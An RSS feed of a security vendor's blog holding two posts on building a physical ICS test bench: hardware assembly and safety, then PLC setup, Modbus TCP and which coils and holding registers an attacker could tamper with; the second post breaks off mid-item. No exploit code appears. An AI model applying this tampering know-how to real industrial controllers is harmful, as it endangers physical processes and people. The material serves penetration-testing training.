<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
   version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[ Malware - Rapid7 Cybersecurity Blog ]]></title>
    <description><![CDATA[Rapid7 transforms data into insight, empowering security professionals to progress and protect their organizations.]]></description>
    <link>https://www.rapid7.com/blog/</link>
    <image>
      <url>https://blog.rapid7.com/favicon.png</url>
      <title>Rapid7 Cybersecurity Blog</title>
      <link>https://www.rapid7.com/blog/</link>
    </image>
    <lastBuildDate>Wed, 03 Sep 2025 11:18:02 GMT</lastBuildDate>
    <atom:link href="https://www.rapid7.com/tag/malware-latest-news/rss" rel="self" type="application/rss+xml" />
    <ttl>60</ttl>
    <item>
      <title><![CDATA[An Earth-Shattering Kaboom: Bringing a Physical ICS Penetration Testing Environment to Life (Part 1)]]></title>
      <description><![CDATA[<h2>Building the Bench</h2><p style="direction: ltr;"><span style='font-size: undefined;'><em>This is the first in a three part series on building and using a testing bench for ICS systems. In this series we will build a physical test bench, review program logic to find flaws, perform manual exploitation of commonly used ICS protocols such as Modbus, then develop malware to automatically exploit the bench to cause flooding.</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Whether it’s in the water we drink, the medicines we take, or the electricity we use to read blog posts on the internet, Industrial Control Systems (ICS) are part of our daily lives. There’s so much that relies on these systems, you’d like to assume they’re engineered and tested to guard against cyberattacks. You’d be wrong.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Why aren’t our systems prepared for attacks? This is a tricky question. The systems running our critical infrastructure contain equipment 20+ years old. It’s not uncommon to see equipment 50+ years old which would require a full system revamp due to dependencies, and can easily cost millions. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Another factor? Cybersecurity specialists tend to focus on IT systems, applying the concepts they have learned for that environment. It can be shockingly difficult to explain the logistical reasons an OT environment may have 10+ embedded Windows XP servers, and why they cannot simply be upgraded or patched. A common example of this is present in Human-Machine Interfaces (HMI) where the embedded systems both have vomited memory which prevents upgrades to more resource intensive OS and require applications written in the early 2000’s to interface with a piece of technology.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>But the largest issue for testing is a skillset gap. Testing in ICS environments means working on systems where the wrong packet could cause injuries to life or limb. Programmable Logic Controllers (PLC), especially older models, might have extremely limited memory resources which could result in a </span><a href="/fundamentals/denial-of-service-attacks/" target="_self"><span style='font-size: undefined;'>Denial-of-Service (DOS)</span></a><span style='font-size: undefined;'>. They might also crash should they accept a packet they cannot interpret. These operational impacts can be instantaneous, preventing timely manual intervention after they begin. Most organizations don’t have the risk appetite for such testing, and even fewer work to acquire the knowledge necessary to assess these networks. As such, very few penetration testers actively perform testing within these environments. This means that even those critical infrastructure providers who might wish for testing to be done may find it impossible to find a tester who can provide a valid assessment without operational impacts. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>I have been developing the internal network ICS penetration testing program here at Rapid7. During this process, I found that while there were many highly valuable resources available for training online, the amount of organizations sharing this knowledge appeared to be much smaller than one would expect given the criticality of these systems. For example, I have yet to discover a good online resource that provides knowledge on how to assemble and use a physical testing environment for </span><a href="/fundamentals/penetration-testing/" target="_self"><span style='font-size: undefined;'>penetration testing</span></a><span style='font-size: undefined;'> and </span><a href="/fundamentals/malware-attacks/" target="_self"><span style='font-size: undefined;'>malware</span></a><span style='font-size: undefined;'> development. While digital simulations such as Factory.io do exist, when you are training to deal with physical systems I believe it is important to have some experience with them in a hands-on manner. In addition, in building a test environment for yourself, a greater understanding of the system and its vulnerabilities can be gained.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These test systems, once built, additionally allow for simulation of program logic for PLCs. This allows for flexibility during a penetration test, and allows testing to occur in a safe environment where operational impacts would not be a concern. Otherwise, necessary avoidance of activities which would result in operational downtime might leave gaps in an organization’s security.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>I would like to contribute to the knowledge pool and help bridge some of the gaps I felt when learning for myself. The goal of this series is to promote free sharing of knowledge in relation to ICS cybersecurity and penetration testing to help raise the skill floor and ensure organizations can receive proper testing to help protect our most critical systems.</span></p><h2>Some Assembly Required</h2><p style="direction: ltr;"><span style='font-size: undefined;'><em><strong>Note: </strong></em></span><span style='font-size: undefined;'><em>As a disclaimer: While I will not be diving deep into electrical knowledge here, I would highly recommend searching for some basic knowledge on electricity and safety before attempting any of this at home. Even at low voltages, current flowing through your body can be fatal depending on several factors. In addition, for this buildout I will be working with water. Additional care must be taken when working with electricity around water. The typical resistance of human skin within dry environments can range from 1,000 to 100,000 Ohms, which might protect you from shocks which would otherwise be dangerous. However, wet skin has much less resistance and may result in dangerous current in otherwise similar circumstances. Please proceed with caution, use proper personal protective equipment, and prioritize safety at every step. Rapid7 does not assume responsibility for any injury or damage resulting from attempts to replicate this setup.</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>First, let’s look at what we might like to make. One of the easiest projects to start with is a system that moves something, so for our purposes we will use a simple gravity well and valve to pump water through some tubing to a container. To add some components and complexity, we’ll add a pump to the system to move the water out of the first container to a separate container. This will simulate a very basic process environment. We can additionally add some lights to denote the status of the process in its loop.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt55c88abb2df4ce54/68936c358213ccb1540a0628/ICS1.jpg" height="394" alt="ICS1.jpg" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ICS1.jpg" width="296" max-width="296" max-height="394" style="max-width: 296px; width: 296px; max-height: 394px; height: 394px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt55c88abb2df4ce54/68936c358213ccb1540a0628/ICS1.jpg" data-sys-asset-uid="blt55c88abb2df4ce54" data-sys-asset-filename="ICS1.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS1.jpg" data-sys-asset-position="none" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Supplies Gathered for Bench</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Now that we know what we are making, we are going to need a controller. You can decide the PLC you would like to use to match budgetary limitations and the protocols you wish to test. Not all PLCs will allow you to test all protocols, so ensure you get the correct one for your use case. In my example I am choosing an Allen-Bradley Micro820. While the pricing on this might be higher than your budget, it does support several commonly-used protocols. Additionally, Rockwell provides the Connected Components Workbench software used for programming the device for free, which I found to be a nice plus. You will also need a power supply for your testing, for this I’ll be using a simple bench power supply that can go up to 32 Volts DC.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb42e116e000bd023/68936c353fd889bb09635c31/ICS2.jpg" height="329" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS2.jpg" asset-alt="ICS2.jpg" width="289" max-width="289" max-height="329" style="max-width: 289px; width: 289px; max-height: 329px; height: 329px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb42e116e000bd023/68936c353fd889bb09635c31/ICS2.jpg" data-sys-asset-uid="bltb42e116e000bd023" data-sys-asset-filename="ICS2.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS2.jpg" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Micro820 Programmable Logic Controller in Operation</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Next we will look at acquiring components and testing them for functionality and safety. Before getting components, we need to know what input voltage we will need to work with. The Micro820 is a great learning PLC as it runs off of 24 Volts DC. Lower voltage gives more room for mistakes should they occur, both for personal and component safety. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>I ordered a stoplight that also runs off of 24v DC to function as our signal to show process status. Upon receiving a new component, the first thing you should do is test its functionality and readings to ensure it was correctly wired and advertised. You don’t want to jump right to 24v if a component can only take 12v -  that is a good way to burn something out. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What I am going to show next is a methodology that you can apply to all components you wish to use, though we will only go through it for the stoplight.</span></p><p style="text-align: center;direction: ltr;"></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt535dbe7a5675d1d5/68936c355fe5dd2fba5d3cfe/ICS3.png" height="380" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS3.png" asset-alt="ICS3.png" width="286" max-width="286" max-height="380" style="max-width: 286px; width: 286px; max-height: 380px; height: 380px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt535dbe7a5675d1d5/68936c355fe5dd2fba5d3cfe/ICS3.png" data-sys-asset-uid="blt535dbe7a5675d1d5" data-sys-asset-filename="ICS3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ICS3.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Stoplight Bench Component</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The next step is to open it up and review the wiring. Here you can see the white and blue line leads into the bottom light, then runs as a black wire in series through the others. Meanwhile the blue lines going to the other terminals on the lights appear to be wired in parallel. You don’t need to fully be able to identify those right now, but recognizing that the setup implies that the blue and white line is the common while the blue lines are input is important.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd5c78de8c76e3f4e/68936c35ca22f967654a5f52/ICS4.png" height="389" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS4.png" asset-alt="ICS4.png" width="292" max-width="292" max-height="389" style="max-width: 292px; width: 292px; max-height: 389px; height: 389px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd5c78de8c76e3f4e/68936c35ca22f967654a5f52/ICS4.png" data-sys-asset-uid="bltd5c78de8c76e3f4e" data-sys-asset-filename="ICS4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ICS4.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Internal Wiring of Stoplight</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Next we want to make sure that we can identify A: where the wires connect in the terminal blocks, and B: that the circuits are all complete and there are no unexpected breaks. To this end we will use a multimeter and perform continuity checks from the input side of the terminal blocks to the end of each light.</span></p><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6c870acd422eb457/68936c353af4c73d7bfc9acf/ICS5.png" height="393" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS5.png" asset-alt="ICS5.png" width="287" max-width="287" max-height="393" style="max-width: 287px; width: 287px; max-height: 393px; height: 393px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6c870acd422eb457/68936c353af4c73d7bfc9acf/ICS5.png" data-sys-asset-uid="blt6c870acd422eb457" data-sys-asset-filename="ICS5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ICS5.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Continuity Tests</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Next we will check the pilot lights to ensure that we don’t provide too much power and blow them out. By taking them out we confirm that they are Allen Bradley 800T-P16 pilot lights. They are rated for up to 120V AC and a high enough amperage rating that nothing we can do with this power supply will burn them out, meaning they are safe for use without any further modifications to the system.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b0e7f2e9a8e85a3/68936c35ca22f9269c4a5f4e/ICS6.png" height="397" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS6.png" asset-alt="ICS6.png" width="281" max-width="281" max-height="397" style="max-width: 281px; width: 281px; max-height: 397px; height: 397px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b0e7f2e9a8e85a3/68936c35ca22f9269c4a5f4e/ICS6.png" data-sys-asset-uid="blt5b0e7f2e9a8e85a3" data-sys-asset-filename="ICS6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ICS6.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Pilot Light Model Discovery</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Now we can proceed to wiring. I suggest using traditional DC wiring standards to denote the common as black. As a note, AC standards are different and result in black being the ‘hot’ wire – please don’t get that confused! The inputs on our Micro820 are sourcing, which means they supply power. This will be important to know later, but for now remember this: power flows into each line individually and flows out through the shared common. I use my bench power supply to connect to all three lights in parallel, and confirm that they properly light at 24v DC, concluding testing of this component.</span></p><p style="text-align: left;direction: ltr;"></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteea16359d0b6f3b1/68936c3536a6a04eed139721/ICS7.png" height="463" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS7.png" asset-alt="ICS7.png" width="622" max-width="622" max-height="463" style="max-width: 622px; width: 622px; max-height: 463px; height: 463px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteea16359d0b6f3b1/68936c3536a6a04eed139721/ICS7.png" data-sys-asset-uid="blteea16359d0b6f3b1" data-sys-asset-filename="ICS7.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ICS7.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Fully Confirmed Functionality for Stoplight</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We proceed with each of the components in a similar fashion to ensure they all function correctly and at the advertised voltages. It’s possible when planning your test bench you run across components that need a lower voltage. In those cases, a simple buck converter can be used in-line to step down the output voltage to avoid malfunctions in the component. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once everything is tested, it is time to mount and wire. For a simple project like this,  I used a cheap 2x2 square of plywood, though you can use anything you feel is sufficient to hold and maintain the weight mounted to the board. Make sure you properly position your supports so that it does not fall forward, as the board might be top-heavy.</span></p><p style="text-align: left;"><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt57468efaced663d4/68936c35bc27f78dc1f4e8d3/ICS8.jpg" height="342" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS8.jpg" asset-alt="ICS8.jpg" width="304" max-width="304" max-height="342" style="max-width: 304px; width: 304px; max-height: 342px; height: 342px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt57468efaced663d4/68936c35bc27f78dc1f4e8d3/ICS8.jpg" data-sys-asset-uid="blt57468efaced663d4" data-sys-asset-filename="ICS8.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS8.jpg" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Mounted and Wired PLC</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>I’d like to additionally take a moment to talk about terminal blocks and wire management. (I could do a whole blog post on this, and perhaps I will soon.) Your PLC will only have so many connectors available on its block, and you don’t want to cause a short by trying to cram too many wires into one slot. Splicing terminal blocks are great for relaying common connections to all of your components while keeping connections at the PLC itself minimal. In addition, many of them can be mounted to the DIN rail, allowing for a very smooth and cohesive flow of wires compared to what you might otherwise have. </span></p><p style="text-align: left;direction: ltr;"></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaed9be133ad49c42/68936c355fe5dd69305d3d02/ICS9.jpg" height="431" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS9.jpg" asset-alt="ICS9.jpg" width="574" max-width="574" max-height="431" style="max-width: 574px; width: 574px; max-height: 431px; height: 431px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaed9be133ad49c42/68936c355fe5dd69305d3d02/ICS9.jpg" data-sys-asset-uid="bltaed9be133ad49c42" data-sys-asset-filename="ICS9.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS9.jpg" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Wires Connected to Terminal Blocks</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>While wiring pieces together, you will want to ensure that you only expose the amount of wire needed to make a connection. Any additional exposure and you risk causing a short should a stray strand of another wire touch any hot wire. In addition, make sure that your wire is correctly rated for the current or you might be at risk of fire. For this project, I found 16 gauge wire to be more than sufficient. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As I will be connecting power through my bench supply I need to design a way to both keep the power connections themselves away from all other components, wires, and water systems and ensure that there is no chance of a short circuit. To solve this in a simple fashion, I lead the wires around to the back of the panel, where they are the only connections. I then connect the bottom input connection through a terminal block while relaying common through yet one more block, lengthening the distance between the leads. This helps to minimize the risk of a short should either wire disconnect.</span></p><p style="text-align: left;direction: ltr;"></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2de4d5cbb29d18a0/68936c353fd889a32f635c35/ICS12.jpg" height="427" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS12.jpg" asset-alt="ICS12.jpg" width="569" max-width="569" max-height="427" style="max-width: 569px; width: 569px; max-height: 427px; height: 427px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2de4d5cbb29d18a0/68936c353fd889a32f635c35/ICS12.jpg" data-sys-asset-uid="blt2de4d5cbb29d18a0" data-sys-asset-filename="ICS12.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS12.jpg" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Input Power System</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Now we can look at the water systems. For any tubing or components you connect, you will want to ensure that any National Paper Taper (NPT) threads are properly wrapped with Teflon Tape and clamped. If you do not do this, your connectors will leak under pressure. While the designed system here separates wires from water systems well, water near live wires would substantially increase risk and should be minimized. Always try to separate your electrical systems from any other components where possible to minimize risk of unintended interactions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When working with a new type of system, be it pneumatic, water pressure, or electrical, I’d highly recommend doing some trades research to get knowledge from those who work with the system on a deeper level. It will greatly reduce the number of trips you need to make to your local hardware store!</span></p><p style="text-align: center;direction: ltr;"></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt68f54f097fa49739/68936c3591229c09d6125bdb/ICS11.jpg" height="378" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS11.jpg" asset-alt="ICS11.jpg" width="284" max-width="284" max-height="378" style="max-width: 284px; width: 284px; max-height: 378px; height: 378px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt68f54f097fa49739/68936c3591229c09d6125bdb/ICS11.jpg" data-sys-asset-uid="blt68f54f097fa49739" data-sys-asset-filename="ICS11.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS11.jpg" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Teflon Tape Applied to NPT Threads</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Before connecting any water components, I recommend doing an isolated test of water flow to ensure no unexpected leaks occur. Doing so helps to ensure that you don’t run into a cascading failure with water flowing onto your board, components, or bench power supply.</span></p><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em></em></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt50a732e3dcaacdc4/68936c358213cc25b30a062c/ICS10.png" height="502" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS10.png" asset-alt="ICS10.png" width="284" max-width="284" max-height="502" style="max-width: 284px; width: 284px; max-height: 502px; height: 502px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt50a732e3dcaacdc4/68936c358213cc25b30a062c/ICS10.png" data-sys-asset-uid="blt50a732e3dcaacdc4" data-sys-asset-filename="ICS10.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ICS10.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Isolated Leakage testing</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once everything is connected, the system is ready for programming and operation and the initial test bench is complete. This system is easily scalable once you understand how it operates, making it easy to work with someone else’s logic and add various sensors and components to get physical simulation of exploitable logic flaws at a much smaller and safer scale.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the </span><a href="https://www.rapid7.com/blog/post/an-earth-shattering-kaboom-bringing-a-physical-ics-penetration-testing-environment-to-life-part-1/" target="_self"><span style='font-size: undefined;'>next article</span></a><span style='font-size: undefined;'>, we will discuss how to program the PLC, logic flaws commonly seen in the programs, and manual exploitation of the system. The article following that will discuss development of malware which can exploit the vulnerabilities in our system.</span></p><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em></em></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt09dcf66b58964f17/68936c356fa87be26649b720/ICS13.jpg" height="427" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ICS13.jpg" asset-alt="ICS13.jpg" width="569" max-width="569" max-height="427" style="max-width: 569px; width: 569px; max-height: 427px; height: 427px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt09dcf66b58964f17/68936c356fa87be26649b720/ICS13.jpg" data-sys-asset-uid="blt09dcf66b58964f17" data-sys-asset-filename="ICS13.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-alt="ICS13.jpg" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Completed Bench Assembly</em></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/an-earth-shattering-kaboom-bringing-a-physical-ics-penetration-testing-environment-to-life-part-1</link>
      <guid isPermaLink="false">blt96f9f5c6ff2c6bc1</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Anna Katarina Quinn]]></dc:creator>
      <pubDate>Tue, 02 Sep 2025 17:42:48 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3ae6fb8e07d88e0/67ee88468d0b99031be0ea84/resources-research.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[An Earth-Shattering Kaboom: Bringing a Physical ICS Penetration Testing Environment to Life (Part 2)]]></title>
      <description><![CDATA[<h2><span style='color:rgb(232, 94, 38);font-size: undefined;'>Program Vulnerabilities and Manual Assessment</span></h2><p><em>This is the second in a three-part series on building and using a testing bench for Industrial Control Systems (ICS). In this series, we will build a physical test bench, review program logic to find flaws, perform manual exploitation of commonly used ICS protocols such as Modbus, then develop malware to automatically exploit the bench to cause flooding.</em></p><h2>Configuration and setup</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Now that we have </span><a href="https://www.rapid7.com/blog/post/an-earth-shattering-kaboom-bringing-a-physical-ics-penetration-testing-environment-to-life-part-1/"><span style='font-size: undefined;'>built our bench</span></a><span style='font-size: undefined;'>, we will cover configuration and logic programming for the PLC as well as manual testing of the device to modify and impact operations. If you would like to see how the bench was assembled and tested for proper wiring, you can find </span><a href="https://www.rapid7.com/blog/post/an-earth-shattering-kaboom-bringing-a-physical-ics-penetration-testing-environment-to-life-part-1/"><span style='font-size: undefined;'>part one here</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The first step in this process is to install the appropriate programming software for the PLC. In the case of the Micro820 we are using, this will be the Connected Components Workbench provided as free software by Allen-Bradley. The first step is to connect the device to a local network via ethernet. After powering the device, we can use the </span><span style='font-size: undefined;'><span data-type='inlineCode'>Discover</span></span><span style='font-size: undefined;'> feature of the software to discover and connect to the PLC for programming purposes.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6c3e9427bbe9d7ec/68b72137af26f1908a748c9e/KB1.png" height="452" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB1.png" asset-alt="KB1.png" width="578" max-width="578" max-height="452" style="max-width: 578px; width: 578px; max-height: 452px; height: 452px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6c3e9427bbe9d7ec/68b72137af26f1908a748c9e/KB1.png" data-sys-asset-uid="blt6c3e9427bbe9d7ec" data-sys-asset-filename="KB1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB1.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Micro820 Connected to Programming Software</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When connecting to the device, you should see a message stating the device is not protected by a password. This password would be required for authentication to the device from the programming software, preventing malicious actors from gaining privileged access to the device, which would allow for alteration of programming logic. </span><span style='font-size: undefined;'><em>While proceeding, it is worth noting that all devices should be secured with a password for access to the programming interface.</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The next step for our lab is to enable Modbus TCP for the lab environment. Modbus is one of the foundational protocols within OT environments, with heavy use across every sector. The protocol itself, unfortunately, is quite vulnerable to multiple attack vectors as it transmits without encryption, allowing for packet captures and subsequent replay attacks or reverse engineering of the application. By navigating to the ethernet settings for the device, we can easily enable Modbus TCP for the device:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteb410540a4585086/68b72137c0da105704de772b/KB2.png" height="473" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB2.png" asset-alt="KB2.png" width="377" max-width="377" max-height="473" style="max-width: 377px; width: 377px; max-height: 473px; height: 473px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteb410540a4585086/68b72137c0da105704de772b/KB2.png" data-sys-asset-uid="blteb410540a4585086" data-sys-asset-filename="KB2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB2.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Modbus TCP Enabled on PLC</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After enabling Modbus, we next need to map specific addresses to variable names. When pentesting Modbus, the addresses you are most likely to actively attempt to tamper with will be those for Coils and Holding Registers. Coils are defined quite simply as Boolean values which can be set to either </span><span style='font-size: undefined;'><span data-type='inlineCode'>on</span></span><span style='font-size: undefined;'> or </span><span style='font-size: undefined;'><span data-type='inlineCode'>off</span></span><span style='font-size: undefined;'>. These will lie in the lowest ranges of the address space, as you can see from the addresses beginning at 000001 and ending at 000005.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Meanwhile, Holding Registers are used to store specific variables used by the device program, often to allow for remote reading by other PLCs or logging systems. You can see that we have defined these in the 40000 range and 400000 range. This is to show that newer devices are smarter with address ranges and will accept either format, whereas older devices may define the address range for holding registers strictly as one or the other.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Other register addresses such as discrete inputs are commonly used within ICS environments to hold processed input values from sensors. However, we are not using them here as they are Read Only and cannot be directly modified during testing.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt34a710c3bb3525c0/68b721385075c34291a0073b/KB3.png" height="474" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB3.png" asset-alt="KB3.png" width="678" max-width="678" max-height="474" style="max-width: 678px; width: 678px; max-height: 474px; height: 474px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt34a710c3bb3525c0/68b721385075c34291a0073b/KB3.png" data-sys-asset-uid="blt34a710c3bb3525c0" data-sys-asset-filename="KB3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB3.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Mapping Variables to Modbus Addresses</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After mapping the variables, we need to define them within the PLC’s global variables, and can now configure these using their variable names. Something interesting happens while we are doing so: Connected Components Workbench grants Read/Write access to all variables by default. This will allow for the device, and anything authorized to interact with it, to freely write to all variables. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For Holding Registers this poses a unique risk: if the register is directly used within program logic as an input at any point, alteration could adversely impact operation. If possible, best practice for holding registers would be to have a second set of variables which we copy to these values instead. This allows for the values directly used within the program logic to remain untouched even should a malicious actor tamper with the register, while also properly exposing the values for other controllers to use. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As coils are a binary output of current, they have their own methods which would need to be employed for protection. The methods listed above would not necessarily stop an attacker from impacting operations as the coils could still be freely turned on or off regardless of the original value.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9324e965a720a02d/68b7213736f57ea1aae78b08/KB4.png" 